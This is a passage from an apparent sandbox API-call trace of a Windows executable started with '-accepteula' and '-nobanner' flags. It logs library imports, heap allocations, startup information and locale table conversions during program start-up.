0x76e211f8 [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0105.181] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0105.181] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0105.181] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0105.181] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0105.181] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0105.181] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0105.181] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0105.181] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0105.181] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0105.181] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0105.181] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0105.181] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0105.181] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0105.181] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0105.182] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0105.182] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0105.182] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0105.182] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0105.182] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0105.182] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0105.182] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0105.182] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0105.182] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0105.182] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0105.182] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0105.182] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0105.182] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0105.183] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0105.183] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0105.183] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0105.183] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0105.183] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0105.183] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0105.183] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0105.183] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0105.183] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0105.183] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0105.183] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0105.183] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0105.183] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0105.183] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0105.184] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0105.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xe227eda0, dwHighDateTime=0x1d5d06a)) [0105.184] GetCurrentThreadId () returned 0xe98 [0105.184] GetCurrentProcessId () returned 0xe94 [0105.184] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=24713638637) returned 1 [0105.185] GetProcessHeap () returned 0x230000 [0105.185] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0105.185] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0105.185] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0105.185] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0105.185] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0105.185] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0105.185] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0105.186] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0105.187] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0105.188] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0105.188] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3bc) returned 0x2460d0 [0105.188] GetCurrentThreadId () returned 0xe98 [0105.188] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x18) returned 0x246498 [0105.188] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x2464b8 [0105.188] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x22fe0f92, hStdError=0x0)) [0105.188] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0105.188] GetFileType (hFile=0x3) returned 0x2 [0105.189] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0105.189] GetFileType (hFile=0x80) returned 0x3 [0105.189] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0105.189] GetFileType (hFile=0xb) returned 0x2 [0105.189] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner" [0105.189] GetEnvironmentStringsW () returned 0x246cc0* [0105.189] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xb86) returned 0x247850 [0105.190] FreeEnvironmentStringsW (penv=0x246cc0) returned 1 [0105.190] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x7a) returned 0x246cc0 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xa0) returned 0x246d48 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3e) returned 0x2483f8 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6c) returned 0x246df0 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6e) returned 0x246e68 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x78) returned 0x23f8f0 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x62) returned 0x246ee0 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x246f50 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x246f88 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x246fd8 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x28) returned 0x247010 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x245aa0 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4a) returned 0x247040 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x72) returned 0x23f970 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x247098 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x2470d0 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1c) returned 0x245ac8 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xd2) returned 0x247108 [0105.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x7c) returned 0x2471e8 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x247270 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3a) returned 0x248440 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x90) returned 0x2472b0 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x247348 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x247378 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x2473b0 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x2473f0 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x247440 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x248488 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x18) returned 0x2474a0 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x82) returned 0x2474c0 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x247550 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e) returned 0x245af0 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2c) returned 0x247588 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x2475c0 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x247620 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x247680 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x2484d0 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x2476b8 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x247718 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x247748 [0105.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8c) returned 0x247780 [0105.191] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x247850 | out: hHeap=0x230000) returned 1 [0105.192] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x247818 [0105.192] GetLastError () returned 0x0 [0105.192] SetLastError (dwErrCode=0x0) [0105.192] GetLastError () returned 0x0 [0105.192] SetLastError (dwErrCode=0x0) [0105.192] GetLastError () returned 0x0 [0105.192] SetLastError (dwErrCode=0x0) [0105.192] GetACP () returned 0x4e4 [0105.192] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x220) returned 0x248020 [0105.192] GetLastError () returned 0x0 [0105.192] SetLastError (dwErrCode=0x0) [0105.192] IsValidCodePage (CodePage=0x4e4) returned 1 [0105.192] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0105.192] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0105.192] GetLastError () returned 0x0 [0105.192] SetLastError (dwErrCode=0x0) [0105.192] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0105.192] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0105.192] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0105.192] GetLastError () returned 0x0 [0105.193] SetLastError (dwErrCode=0x0) [0105.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0105.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0105.193] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0105.193] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0105.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x02\x0eþ\"äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0105.193] GetLastError () returned 0x0 [0105.193] SetLastError (dwErrCode=0x0) [0105.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0105.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0105.193] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0105.193] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0105.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 